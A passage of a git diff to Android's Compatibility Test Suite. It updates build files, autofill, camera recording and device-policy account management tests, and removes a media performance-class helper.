// Adjusted delta in this case, has additional delta added due to touch slop.
return Math.round((float) strokeDuration * absUnadjustedDelta / absAdjustedDelta);
}
+
+ private void adjustTapLocation(
+ PointF tapLocation, float fingerOffsetSum, float strokeDeltaX, float strokeDeltaY) {
+ float offsetX = 0.0f;
+ float offsetY = 0.0f;
+ if (strokeDeltaX > 0.0f) {
+ offsetX = (strokeDeltaX + fingerOffsetSum) / -2.0f;
+ } else if (strokeDeltaX < 0.0f) {
+ offsetX = (strokeDeltaX - fingerOffsetSum) / -2.0f;
+ }
+ if (strokeDeltaY > 0.0f) {
+ offsetY = (strokeDeltaY + fingerOffsetSum) / -2.0f;
+ } else if (strokeDeltaY < 0.0f) {
+ offsetY = (strokeDeltaY - fingerOffsetSum) / -2.0f;
+ }
+ tapLocation.offset(offsetX, offsetY);
+ }
}
diff --git a/tests/app/Android.bp b/tests/app/Android.bp
index 9fb2860..084378f 100644
--- a/tests/app/Android.bp
+++ b/tests/app/Android.bp
@@ -47,14 +47,38 @@
test_suites: [
"cts",
"general-tests",
- "sts"
+ "sts",
],
instrumentation_for: "CtsAppTestStubs",
sdk_version: "test_current",
- min_sdk_version: "14",
+ // 21 required for multi-dex.
+ min_sdk_version: "21",
// Disable coverage since it pushes us over the dex limit and we don't
// actually need to measure the tests themselves.
- jacoco: { exclude_filter: ["**"] }
+ jacoco: {
+ exclude_filter: ["**"],
+ },
+ // Even with coverage disabled, we're close to the single dex limit, so allow use of multi-dex.
+ dxflags: ["--multi-dex"],
+ data: [
+ ":CtsSimpleApp",
+ ":CtsAppTestStubs",
+ ":CtsAppTestStubsApp1",
+ ":CtsAppTestStubsApp3",
+ ":CtsAppTestStubsApp2",
+ ":CtsAppTestStubsApi30",
+ ":CtsBadProviderStubs",
+ ":CtsCantSaveState1",
+ ":CtsCantSaveState2",
+ ":NotificationDelegator",
+ ":NotificationProvider",
+ ":NotificationListener",
+ ":StorageDelegator",
+ ":CtsActivityManagerApi29",
+ ":NotificationTrampoline",
+ ":NotificationTrampolineApi30",
+ ],
+ per_testcase_directory: true,
}
android_test {
@@ -90,7 +114,7 @@
manifest: "DownloadManagerApi28Test/AndroidManifest.xml",
test_config: "DownloadManagerApi28Test/AndroidTest.xml",
lint: {
- baseline_filename: "lint-baseline-api-28.xml",
+ baseline_filename: "lint-baseline-api-28.xml",
},
}
@@ -127,7 +151,7 @@
manifest: "DownloadManagerInstallerTest/AndroidManifest.xml",
test_config: "DownloadManagerInstallerTest/AndroidTest.xml",
lint: {
- baseline_filename: "lint-baseline-installer.xml",
+ baseline_filename: "lint-baseline-installer.xml",
},
}
diff --git a/tests/app/NotificationListener/Android.bp b/tests/app/NotificationListener/Android.bp
index 4c43e37..adfa03d 100644
--- a/tests/app/NotificationListener/Android.bp
+++ b/tests/app/NotificationListener/Android.bp
@@ -39,6 +39,5 @@
"androidx.test.rules",
"platform-test-annotations",
],
- platform_apis: true,
sdk_version: "test_current",
}
diff --git a/tests/app/NotificationProvider/Android.bp b/tests/app/NotificationProvider/Android.bp
index 4a9d084..a0c6396 100644
--- a/tests/app/NotificationProvider/Android.bp
+++ b/tests/app/NotificationProvider/Android.bp
@@ -19,7 +19,10 @@
android_test_helper_app {
name: "NotificationProvider",
defaults: ["cts_support_defaults"],
- srcs: ["**/*.java", "**/*.kt"],
+ srcs: [
+ "**/*.java",
+ "**/*.kt",
+ ],
// Tag this module as a cts test artifact
test_suites: [
"cts",
@@ -27,6 +30,5 @@
"general-tests",
"sts",
],
- platform_apis: true,
sdk_version: "current",
}
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 3955bd0..9ecef54 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -22,7 +22,6 @@
import android.content.pm.ActivityInfo;
import android.content.res.Resources;
import android.graphics.Rect;
-import android.view.DisplayInfo;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -53,14 +52,14 @@
}
/**
- * Returns display original orientation and toggled orientation.
- * @param activity context to get the display info
+ * Returns window orientation and toggled orientation.
+ * @param activity context to get the window info
* @return The first element is original orientation and the second element is toggled
* orientation.
*/
private static int[] getOrientations(final Activity activity) {
// Check the display dimension to get the current device orientation.
- Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+ final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
final int originalOrientation = bounds.width() > bounds.height()
? ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
: ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
@@ -70,8 +69,8 @@
return new int[] { originalOrientation, newOrientation };
}
- /** Checks whether the display dimension is close to square. */
- public static boolean isCloseToSquareDisplay(final Activity activity) {
+ /** Checks whether the window dimension is close to square. */
+ public static boolean isCloseToSquareBounds(final Activity activity) {
final Resources resources = activity.getResources();
final float closeToSquareMaxAspectRatio;
try {
@@ -81,10 +80,9 @@
// Assume device is not close to square.
return false;
}
- final DisplayInfo displayInfo = new DisplayInfo();
- activity.getDisplay().getDisplayInfo(displayInfo);
- final int w = displayInfo.logicalWidth;
- final int h = displayInfo.logicalHeight;
+ final Rect bounds = activity.getWindowManager().getCurrentWindowMetrics().getBounds();
+ final int w = bounds.width();
+ final int h = bounds.height();
final float aspectRatio = Math.max(w, h) / (float) Math.min(w, h);
return aspectRatio <= closeToSquareMaxAspectRatio;
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 42e16ac..1cd9154 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -2359,6 +2359,7 @@
// Launch home activity, so the activity in app1 will be stopped, app1 now only has FGS,
// we're not "finishing" the activity because removing a task could result in service
// restart.
+ waitForAppFocus(PACKAGE_NAME_APP1,WAITFOR_MSEC);
final Intent homeIntent = new Intent();
homeIntent.setAction(Intent.ACTION_MAIN);
homeIntent.addCategory(Intent.CATEGORY_HOME);
diff --git a/tests/app/src/android/app/cts/DisplayTest.java b/tests/app/src/android/app/cts/DisplayTest.java
index 93b82ab..b594492 100644
--- a/tests/app/src/android/app/cts/DisplayTest.java
+++ b/tests/app/src/android/app/cts/DisplayTest.java
@@ -66,11 +66,11 @@
mActivity.configurationChangeObserver.startObserving();
OrientationTestUtils.switchOrientation(mActivity);
- final boolean closeToSquareDisplay = OrientationTestUtils.isCloseToSquareDisplay(mActivity);
+ final boolean closeToSquareBounds = OrientationTestUtils.isCloseToSquareBounds(mActivity);
// Don't wait for the configuration to change if the
// the display is square. In many cases it won't.
- if (!closeToSquareDisplay) {
+ if (!closeToSquareBounds) {
mActivity.configurationChangeObserver.await();
}
@@ -83,7 +83,7 @@
updatedDisplay.getRealSize(updatedSize);
// For square screens the following assertions do not make sense and will always fail.
- if (!closeToSquareDisplay) {
+ if (!closeToSquareBounds) {
// Ensure that the width and height of the original instance no longer are the same. Note
// that this will be false if the device width and height are identical.
// Note there are cases where width and height may not all be updated, such as on docked
diff --git a/tests/appintegrity/OWNERS b/tests/appintegrity/OWNERS
new file mode 100644
index 0000000..3c4ed4f
--- /dev/null
+++ b/tests/appintegrity/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 953234
+include platform/frameworks/base:/services/core/java/com/android/server/integrity/OWNERS
+
diff --git a/tests/appsearch/Android.bp b/tests/appsearch/Android.bp
index 8ecb5aa..bf828a0 100644
--- a/tests/appsearch/Android.bp
+++ b/tests/appsearch/Android.bp
@@ -35,6 +35,11 @@
"general-tests",
],
platform_apis: true,
+ data: [
+ ":CtsAppSearchTestHelperA",
+ ":CtsAppSearchTestHelperB",
+ ],
+ per_testcase_directory: true,
}
android_test_helper_app {
diff --git a/tests/autofillservice/Android.bp b/tests/autofillservice/Android.bp
index f973d0e9..76c65d4 100644
--- a/tests/autofillservice/Android.bp
+++ b/tests/autofillservice/Android.bp
@@ -41,4 +41,9 @@
"general-tests",
],
sdk_version: "test_current",
+ data: [
+ ":TestAutofillServiceApp",
+ ":CtsMockInputMethod",
+ ],
+ per_testcase_directory: true,
}
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index 28d4ebd..89c5665 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -24,6 +24,11 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
+ <!-- Some tests use sticky broadcasts to ensure that inline suggestion extras
+ are delivered to the IME even when its process is not running persistently.
+ This can happen when the IME is unbound as a result of enabling
+ the config_preventImeStartupUnlessTextEditor option. -->
+ <uses-permission android:name="android.permission.BROADCAST_STICKY"/>
<application>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index e1f1295..57c317d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -525,6 +525,14 @@
// Trigger save
mUiBot.setTextByRelativeId(ID_USERNAME, "dude");
+
+ // It works fine for portrait but for the platforms that the default orientation
+ // is landscape, e.g. automotive. Depending on the height of the IME, the ID_LOGIN
+ // button may not be visible.
+ // In order to avoid that,
+ // generate back key event to hide IME before pressing ID_LOGIN button.
+ mUiBot.pressBack();
+
mUiBot.selectByRelativeId(ID_LOGIN);
mUiBot.assertSaveShowing(SAVE_DATA_TYPE_USERNAME);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
index 7720bc8..9522469 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/AbstractWebViewTestCase.java
@@ -19,6 +19,11 @@
import android.autofillservice.cts.testcore.IdMode;
import android.autofillservice.cts.testcore.UiBot;
+import android.content.Context;
+import android.content.res.Resources;
+
+import androidx.test.InstrumentationRegistry;
+
import org.junit.AfterClass;
import org.junit.BeforeClass;
@@ -45,4 +50,20 @@
public static void resetReplierMode() {
sReplier.setIdMode(IdMode.RESOURCE_ID);
}
+
+ /**
+ * @return whether the preventable IME feature as specified by {@code
+ * config_preventImeStartupUnlessTextEditor} is enabled.
+ */
+ protected static boolean isPreventImeStartup() {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ try {
+ return context.getResources().getBoolean(
+ Resources.getSystem().getIdentifier(
+ "config_preventImeStartupUnlessTextEditor", "bool", "android"));
+ } catch (Resources.NotFoundException e) {
+ // Assume this is not enabled.
+ return false;
+ }
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index f1e039d..bfdd160 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -282,6 +282,7 @@
}
@Test
+ @AppModeFull(reason = "BROADCAST_STICKY permission cannot be granted to instant apps")
public void testAutofill_noInvalid() throws Exception {
final String keyInvalid = "invalid";
final String keyValid = "valid";
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
index 4d87dfe..79180e1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -42,6 +42,7 @@
import androidx.test.filters.FlakyTest;
+import org.junit.Assume;
import org.junit.Test;
import org.junit.rules.TestRule;
@@ -108,9 +109,11 @@
@Test
public void testAutofillOneDataset() throws Exception {
+ // TODO(b/226240255) WebView does not inform the autofill service about editText (re-)entry
+ Assume.assumeFalse(isPreventImeStartup());
+
// TODO(b/187664861): Find better solution for small display device.
mUiBot.assumeMinimumResolution(500);
-
// Set service.
enableService();
diff --git a/tests/backup/Android.bp b/tests/backup/Android.bp
index 207f885..9f15d79 100644
--- a/tests/backup/Android.bp
+++ b/tests/backup/Android.bp
@@ -45,4 +45,11 @@
"mts-permission",
],
sdk_version: "test_current",
+ data: [
+ ":CtsPermissionBackupApp",
+ ":CtsPermissionBackupApp22",
+ ":CtsFullBackupApp",
+ ":CtsKeyValueBackupApp",
+ ],
+ per_testcase_directory: true,
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index a7787af..3ae65fb 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -931,7 +931,26 @@
mOutMediaFileName = mDebugFileNameBase + "/test_cslowMo_video_" +
captureRate + "fps_" + id + "_" + size.toString() + ".mp4";
- prepareRecording(size, VIDEO_FRAME_RATE, captureRate);
+ int cameraId = Integer.valueOf(mCamera.getId());
+ int videoEncoder = MediaRecorder.VideoEncoder.H264;
+ for (int profileId : mCamcorderProfileList) {
+ if (CamcorderProfile.hasProfile(cameraId, profileId)) {
+ CamcorderProfile profile =
+ CamcorderProfile.get(cameraId, profileId);
+
+ if (profile.videoFrameHeight == size.getHeight() &&
+ profile.videoFrameWidth == size.getWidth() &&
+ profile.videoFrameRate == VIDEO_FRAME_RATE) {
+ videoEncoder = profile.videoCodec;
+ // Since mCamcorderProfileList is a list representing different
+ // resolutions, we can break when a profile with the same
+ // dimensions as size is found
+ break;
+ }
+ }
+ }
+
+ prepareRecording(size, VIDEO_FRAME_RATE, captureRate, videoEncoder);
SystemClock.sleep(PREVIEW_DURATION_MS);
@@ -963,7 +982,8 @@
stopCameraStreaming();
}
}
-
+ } catch (NumberFormatException e) {
+ fail("Cannot convert cameraId " + mCamera.getId() + " to int");
} finally {
closeDevice();
releaseRecorder();
@@ -1873,6 +1893,17 @@
private void prepareRecording(Size sz, int videoFrameRate, int captureRate)
throws Exception {
// Prepare MediaRecorder.
+ prepareRecording(sz, videoFrameRate, captureRate, MediaRecorder.VideoEncoder.H264);
+ }
+
+ /**
+ * Configure MediaRecorder recording session with CamcorderProfile, prepare
+ * the recording surface. Use AAC for audio compression as required for
+ * android devices by android CDD.
+ */
+ private void prepareRecording(Size sz, int videoFrameRate, int captureRate,
+ int videoEncoder) throws Exception {
+ // Prepare MediaRecorder.
mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.CAMCORDER);
mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
@@ -1881,7 +1912,7 @@
mMediaRecorder.setVideoFrameRate(videoFrameRate);
mMediaRecorder.setCaptureRate(captureRate);
mMediaRecorder.setVideoSize(sz.getWidth(), sz.getHeight());
- mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
+ mMediaRecorder.setVideoEncoder(videoEncoder);
mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
if (mPersistentSurface != null) {
mMediaRecorder.setInputSurface(mPersistentSurface);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index b466feb..136350d 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -2840,7 +2840,7 @@
* <p>
* Two images are strongly equal if and only if the data, formats, sizes,
* and timestamps are same. For {@link ImageFormat#PRIVATE PRIVATE} format
- * images, the image data is not not accessible thus the data comparison is
+ * images, the image data is not accessible thus the data comparison is
* effectively skipped as the number of planes is zero.
* </p>
* <p>
@@ -3328,7 +3328,7 @@
expectedIso *= 100;
}
collector.expectInRange("Exif TAG_ISO is incorrect", iso,
- expectedIso/100,((expectedIso+50)/100)+MAX_ISO_MISMATCH);
+ expectedIso/100,((expectedIso + 50)/100) + MAX_ISO_MISMATCH);
}
} else {
// External camera specific checks
diff --git a/tests/contentcaptureservice/Android.bp b/tests/contentcaptureservice/Android.bp
index f6d6ed4..91b37bf 100644
--- a/tests/contentcaptureservice/Android.bp
+++ b/tests/contentcaptureservice/Android.bp
@@ -39,4 +39,8 @@
"general-tests",
],
sdk_version: "test_current",
+ data: [
+ ":CtsOutsideOfPackageActivity",
+ ],
+ per_testcase_directory: true,
}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 9c5938e..1b1eb9c 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -16,6 +16,8 @@
package android.devicepolicy.cts;
+import static android.os.UserManager.DISALLOW_MODIFY_ACCOUNTS;
+
import static com.android.queryable.queries.IntentFilterQuery.intentFilter;
import static com.android.queryable.queries.ServiceQuery.service;
@@ -25,7 +27,6 @@
import android.accounts.Account;
import android.accounts.AccountManager;
-import android.accounts.AuthenticatorException;
import android.accounts.OperationCanceledException;
import android.app.admin.RemoteDevicePolicyManager;
import android.content.ComponentName;
@@ -49,13 +50,10 @@
import org.junit.Before;
import org.junit.ClassRule;
-import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.io.IOException;
-
@RunWith(BedsteadJUnit4.class)
public final class AccountManagementTest {
@ClassRule
@@ -158,78 +156,64 @@
assertThat(mDpm.getAccountTypesWithManagementDisabled()).isEmpty();
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- // assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
+ mDpm.addUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // Bundle result = addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ Bundle result = addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
- //assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
- // .isEqualTo(EXISTING_ACCOUNT_TYPE);
+ assertThat(result.getString(AccountManager.KEY_ACCOUNT_TYPE))
+ .isEqualTo(EXISTING_ACCOUNT_TYPE);
} finally {
- mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
- // TODO(b/197491427): AccountManager support in TestApp
- // removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ mDpm.clearUserRestriction(mAdmin, DISALLOW_MODIFY_ACCOUNTS);
}
}
- @Ignore("b/197491427")
@Test
@Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
// Management is disabled, but the DO/PO is still allowed to use the APIs
- // TODO(b/197491427): AccountManager support in TestApp
- // Do the following steps on the TestApp side:
- // addAccountWithType(EXISTING_ACCOUNT_TYPE);
- // Bundle result = removeAccount(ACCOUNT_WITH_EXISTING_TYPE);
+ addAccountWithType(sDeviceState.dpc(), EXISTING_ACCOUNT_TYPE);
+ Bundle result = removeAccount(sDeviceState.dpc(), ACCOUNT_WITH_EXISTING_TYPE);
- // assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
+ assertThat(result.getBoolean(AccountManager.KEY_BOOLEAN_RESULT)).isTrue();
} finally {
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
}
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
- public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException {
+ public void addAccount_withDisallowModifyAccountsRestriction_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -241,17 +225,16 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
@@ -259,7 +242,7 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void addAccount_withAccountManagementDisabled_throwsException() {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
@@ -273,17 +256,16 @@
}
@Test
- @Postsubmit(reason = "new test with sleep")
+ @Postsubmit(reason = "new test")
@CanSetPolicyTest(policy = AccountManagement.class)
public void removeAccount_withAccountManagementDisabled_throwsException()
- throws OperationCanceledException, AuthenticatorException, IOException,
- InterruptedException {
+ throws Exception {
try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
- addAccountWithType(EXISTING_ACCOUNT_TYPE);
+ addAccountFromInstrumentedAppWithType(EXISTING_ACCOUNT_TYPE);
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
assertThrows(OperationCanceledException.class, () ->
- removeAccount(ACCOUNT_WITH_EXISTING_TYPE));
+ removeAccountFromInstrumentedApp(ACCOUNT_WITH_EXISTING_TYPE));
} finally {
// Account is automatically removed when the test app is removed
mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ false);
@@ -293,14 +275,25 @@
/**
* Blocks until an account of {@code type} is added.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle addAccountWithType(String type) {
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountFromInstrumentedAppWithType(String type) {
return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(type))
.toNotBeNull()
.errorOnFail()
.await();
}
+ /**
+ * Blocks until an account of {@code type} is added.
+ */
+ // TODO(b/199077745): Remove poll once AccountManager race condition is fixed
+ private Bundle addAccountWithType(TestAppInstance testApp, String type) {
+ return Poll.forValue("created account bundle", () -> addAccountWithTypeOnce(testApp, type))
+ .toNotBeNull()
+ .errorOnFail()
+ .await();
+ }
+
private Bundle addAccountWithTypeOnce(String type) throws Exception {
return mAccountManager.addAccount(
type,
@@ -312,13 +305,23 @@
/* handler= */ null).getResult();
}
+ private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type)
+ throws Exception {
+ return testApp.accountManager().addAccount(
+ type,
+ /* authTokenType= */ null,
+ /* requiredFeatures= */ null,
+ /* addAccountOptions= */ null,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null).getResult();
+ }
+
/**
* Blocks until {@code account} is removed.
*/
- // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed
- private Bundle removeAccount(Account account)
- throws OperationCanceledException, IOException,
- InterruptedException, AuthenticatorException {
+ private Bundle removeAccountFromInstrumentedApp(Account account)
+ throws Exception {
return mAccountManager.removeAccount(
account,
/* activity= */ null,
@@ -326,4 +329,17 @@
/* handler= */ null)
.getResult();
}
+
+ /**
+ * Blocks until {@code account} is removed.
+ */
+ private Bundle removeAccount(TestAppInstance testApp, Account account)
+ throws Exception {
+ return testApp.accountManager().removeAccount(
+ account,
+ /* activity= */ null,
+ /* callback= */ null,
+ /* handler= */ null)
+ .getResult();
+ }
}
diff --git a/tests/filesystem/Android.bp b/tests/filesystem/Android.bp
index db59b6a..7023994 100644
--- a/tests/filesystem/Android.bp
+++ b/tests/filesystem/Android.bp
@@ -23,6 +23,7 @@
static_libs: [
"compatibility-device-util-axt",
"ctstestrunner-axt",
+ "MediaPerformanceClassCommon",
],
srcs: ["src/**/*.java"],
// Tag this module as a cts test artifact
diff --git a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java b/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
deleted file mode 100644
index 5b3859c..0000000
--- a/tests/filesystem/src/android/filesystem/cts/MediaPerformanceClassUtils.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.filesystem.cts;
-
-import android.os.Build;
-import android.os.Build;
-import android.os.SystemProperties;
-import android.util.Log;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-
-/**
- * Test utilities.
- */
-/* package private */ class MediaPerformanceClassUtils {
- private static final int sPc = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S) ?
- Build.VERSION.MEDIA_PERFORMANCE_CLASS :
- SystemProperties.getInt("ro.odm.build.media_performance_class", 0);
- private static final String TAG = "PerformanceClassTestUtils";
-
- /**
- * First defined media performance class.
- */
- private static final int FIRST_PERFORMANCE_CLASS = Build.VERSION_CODES.R;
-
- /**
- * Latest defined media performance class.
- */
- private static final int LAST_PERFORMANCE_CLASS = Build.VERSION_CODES.TIRAMISU;
-
- static {
- if (sPc > 0) {
- Log.d(TAG, "performance class is " + sPc);
- }
- }
-
- public static boolean isRPerfClass() {
- return sPc == Build.VERSION_CODES.R;
- }
-
- public static boolean isSPerfClass() {
- return sPc == Build.VERSION_CODES.S;
- }
-
- public static boolean isTPerfClass() {
- return sPc == Build.VERSION_CODES.TIRAMISU;
- }
-
- public static int getPerfClass() {
- return sPc;
- }
-
- public static boolean isPerfClass() {
- return sPc >= FIRST_PERFORMANCE_CLASS &&
- sPc <= LAST_PERFORMANCE_CLASS;
- }
-}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 1017081..66d1e02 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -20,6 +20,8 @@
import static androidx.test.InstrumentationRegistry.getInstrumentation;
import android.os.Environment;
+import android.mediapc.cts.common.Utils;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import androidx.test.runner.AndroidJUnit4;
@@ -29,7 +31,9 @@
import static org.junit.Assert.assertTrue;
import org.junit.After;
+import org.junit.Rule;
import org.junit.Test;
